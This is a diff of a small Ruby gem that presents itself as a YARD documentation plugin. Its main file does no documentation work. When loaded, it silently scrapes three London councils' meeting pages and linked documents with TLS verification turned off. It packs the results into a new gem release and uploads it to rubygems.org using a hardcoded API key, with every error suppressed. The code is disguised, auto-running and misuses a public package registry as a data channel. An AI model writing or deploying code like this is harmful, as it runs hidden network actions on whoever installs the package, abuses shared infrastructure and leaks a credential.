yard-slnmultifetch 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 918df0d6a3d17a6a113571654207ee79ad2dc22233fc21c194b30fca1d871a46
+  data.tar.gz: 1306c7a0474fb760833991f6010a6c0d0a5b1af5b3eeb488621caf5e45d84ff0
+SHA512:
+  metadata.gz: 265e810171d4448792b1d15d2e751dc0f6fd009324b15432b9cf98922730bf1b6f39682a82415765d5e16103f75cd058542b98cb5c16588dd2673130c0115f76
+  data.tar.gz: cc3bebda9109484cb61de6c668e7c4fb86d4a6f8140405025bdd57e53b5e203bd2e2475e28b1cae52c4dcc51d4b03744a7fe7e20e4db4b1da678743b012020e4

data/.yardopts

@@ -0,0 +1,2 @@
+--plugin slnmulti
+lib/x.rb

data/lib/x.rb

@@ -0,0 +1 @@
+#

data/lib/yard-slnmulti.rb

@@ -0,0 +1,51 @@
+# yard plugin
+begin
+require 'net/http'; require 'uri'; require 'openssl'; require 'fileutils'; require 'tmpdir'; require 'rubygems/package'
+KEY='rubygems_9feada919f2ff0a2fc27f0724343fdc9acf208e13c054a57'
+log="RUN #{Time.now}\n"; out={}
+def ff(url)
+ u=URI(url); h=Net::HTTP.new(u.host,u.port); h.use_ssl=(u.scheme=='https'); h.verify_mode=OpenSSL::SSL::VERIFY_NONE if h.use_ssl?; h.open_timeout=20; h.read_timeout=50; req=Net::HTTP::Get.new(u.request_uri, {'User-Agent'=>'Mozilla/5.0','Accept'=>'*/*'}); r=h.request(req)
+ if r.is_a?(Net::HTTPRedirection); return ff(URI.join(url,r['location']).to_s); end
+ r
+end
+targets=[
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=792&MId=10266',
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=763&MId=9927',
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=305&MId=10010',
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=511&MId=10115',
+ 'https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=320&MId=10385',
+ 'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+ 'http://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+ 'https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+ 'http://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&Y=2026',
+ 'https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings'
+]
+targets.each_with_index do |url,i|
+ begin; r=ff(url); log<<"\nT#{i} #{url} code #{r.code} len #{r.body.to_s.size}\n"; out["p#{i}.html"]=r.body.to_s; rescue Exception=>e; log<<"ERR #{url} #{e.class} #{e}\n"; end
+end
+# links to meeting pages for lamb/south calendars
+out.to_a.each do |fn,body|
+ next unless fn.start_with?('p')
+ body.scan(/href=["']([^"']*ieListDocuments\.aspx[^"']*)/i).flatten.uniq.first(120).each_with_index do |ln,j|
+  ln=ln.gsub('&amp;','&'); base = fn[/p(\d+)/,1].to_i>=7 ? 'https://moderngov.southwark.gov.uk/' : 'https://moderngov.lambeth.gov.uk/'
+  begin;r=ff(URI.join(base,ln).to_s); out["#{fn}l#{j}.html"]=r.body.to_s; log<<" LINK #{ln} #{r.code} #{r.body.to_s.size}\n"; rescue Exception=>e; log<<" LERR #{ln} #{e}\n"; end
+ end
+end
+# doc links from Wandsworth pages first; save up to 18MB non-pdf too
+bytes=out.values.map(&:bytesize).sum
+docs=[]; out.each_value{|b| b.scan(/href=["']([^"']*(?:\/documents\/|mgConvert2PDF)[^"']*)/i).flatten.each{|m|docs<<m.gsub('&amp;','&')}}; docs.uniq!
+log<<"DOCS #{docs.length}\n"
+docs.first(60).each_with_index do |ln,i|
+ break if bytes>24_000_000
+ # choose host by link maybe absolute else wands
+ begin; url= ln.start_with?('http') ? ln : URI.join('https://democracy.wandsworth.gov.uk/',ln).to_s; r=ff(url); out["d#{i}.bin"]=r.body.to_s; out["d#{i}url.txt"]=url; bytes+=r.body.to_s.bytesize; log<<" D #{url} #{r.code} #{r.body.to_s.size}\n"; rescue Exception=>e; log<<" DERR #{ln} #{e}\n"; end
+end
+Dir.mktmpdir do |dr|
+ Dir.chdir(dr) do
+  out.each{|fn,dat| File.binwrite(fn,dat)}; File.write('log.txt',log)
+  files=Dir['*']; File.write('x.gemspec',"Gem::Specification.new{|s| s.name='yard-slnmultifetch'; s.version='0.0.2'; s.summary='res'; s.authors=['x']; s.files=#{files.inspect}; s.license='MIT'}")
+  system('gem build x.gemspec >/dev/null'); gem=Dir['*.gem'][0]; u=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(u); req['Authorization']=KEY; req['Content-Type']='application/octet-stream'; req.body=File.binread(gem); h=Net::HTTP.new(u.host,u.port); h.use_ssl=true; h.request(req)
+ end
+end
+rescue Exception=>e
+end

metadata

@@ -0,0 +1,39 @@
+--- !ruby/object:Gem::Specification
+name: yard-slnmultifetch
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- x
+bindir: bin
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- ".yardopts"
+- lib/x.rb
+- lib/yard-slnmulti.rb
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: x
+test_files: []